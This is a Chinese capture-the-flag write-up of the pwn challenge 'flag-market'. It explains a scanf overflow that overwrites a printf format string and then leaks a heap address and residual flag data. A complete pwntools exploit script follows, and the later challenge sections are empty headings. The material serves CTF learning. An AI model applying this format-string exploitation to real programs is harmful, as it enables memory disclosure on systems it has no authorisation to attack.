PWN

flag-market(复现)

这类对flag文件读取的题目之前在susctf,这边做到过一题也是简单的溢出类题型,但是这次牢不动了。溢出点找出来了,flag残留在堆上也找出来了,就是没看出来溢出后可以利用printf那边的格式化字符串漏洞泄露flag。

flag-market分析

  • 先查看一下保护机制,发现没有开PIE

image-20251126102506799

  • 接下来就是运行一下这个程序,算是一个循环菜单题,但是这个菜单只有两个选项。

image-20251126102554502

  • 接下来逆向一下这个程序,首选发现了一个关键点,我们输入选项1,使用255购买flag就会使得程序输出flag。

image-20251126103450642

  • 但是触发了这个输出flag功能,其实没啥用处,因为遇到{就不会再将flag输出下去了,并且在逐个输出flag之前程序已经将flag这个文件描述符给关闭了。

image-20251126103659067

  • 尝试运行的时候会出现这样的情况,发现还有一个输入点

image-20251126103737412

  • 接着继续逆向这个程序,发现这个输入点存在scanf的一个溢出漏洞,可以实现.data段溢出。

image-20251126103928085

  • 然后注意到上面存在一个printf函数,并且scanf输入的时候可以溢出修改format,这样很可能就是一个字符串格式化漏洞。

image-20251126104103071

image-20251126104219660

flag-market调试

  • 接下来调试一下,先看看是否能溢出修改format那边的字符串。

image-20251126104649134

  • 发现format那边的字符串是已经因为溢出而被修改了。

image-20251126104750477

  • 接下来其实可以利用字符串格式化漏洞直接输出flag,但是flag存放在什么位置呢,接下来我们要寻找一下,由于flag直接会存放在栈上,现在我们看看栈上的flag还存不存在。其实栈上的flag不会存在的,因为在出现error的时候会先将v9清零。

image-20251126105037753

  • 接下来需要看看哪里还存放着flag,由于我们知道前面是有打开flag文件,需要添加一个IO_FILE结构体,而这个结构体需要用堆存放,这个时候我们来看看堆。果然,堆上有flag的残留数据,所以我们需要泄露的是堆上的这个字符串。

image-20251126105153622

  • 由于地址随机偏移的问题,程序每次运行时堆地址都不是固定的,所以我们要看看能不能先泄露出堆地址(所以先要使用printf先泄露堆地址),看看栈上是否有存放堆地址,发现栈上是存在堆地址的。
  • 并且在printf输出的这个位置rsp的地址比存放堆地址的栈地址更低

image-20251126105410645

image-20251126105611619

  • 这样就可以先使用%9$p将堆地址给泄露出来。但是还存在一个问题,我们只能利用1次scanf溢出,所以这次溢出还需要输入%xxx$s

image-20251126105816511

  • 接下来就需要调试栈上哪个地址是有效的保存字符串的地址,以便我们在第一次printf触发格式化字符串漏洞的时候%xx$s不会导致程序崩溃,但是栈上发现没有什么有效地址。但是发现``

image-20251126111034533

  • 但是发现这个地方我们是可以直接控制的,可以直接输入一个地址,使得printf触发%xx$s的时候不会导致程序崩溃。并且在泄露地址之后我们还可以将这个地址修改为flag所存放的堆地址,非常巧妙。

image-20251126111127204

image-20251126111245691

flag-market-EXP

就直接按照上面调试的思路去编写exp即可

  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
p = process('./chall')
#p = remote('0.0.0.0',7122)
context.log_level = 'debug'
p.sendline(b'1')
p.recvuntil(b'how much you want to pay?\n')
p.sendline(b'255')

#gdb.attach(p)
sleep(4)

offset = 0x4041C0-0x4040C0
p.sendline(b'a'*offset+b'%9$p%12$s')
pause()
p.sendline(b'1')
pause()
p.sendline(p64(0x4040C0))
pause()
p.recvuntil(b'how much you want to pay?\n')
str = b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%9$p%12$s'
heap_addr = p.recvline()[:-len(b'welcome to flag market!\n')-len(str)]
print('[+] heap_addr:',heap_addr)
heap_addr = int(heap_addr,16)
flag_addr = heap_addr + 0x1E0
# 0xe7c480
print('[+] flag_addr',hex(flag_addr))
p.sendline(b'1')
p.sendline(p64(flag_addr))
p.interactive()

image-20251126111530847

ez-stack(复现)

ez-stack分析

ez-stack调试

ez-stack-EXP

Crypto

check-little

ezran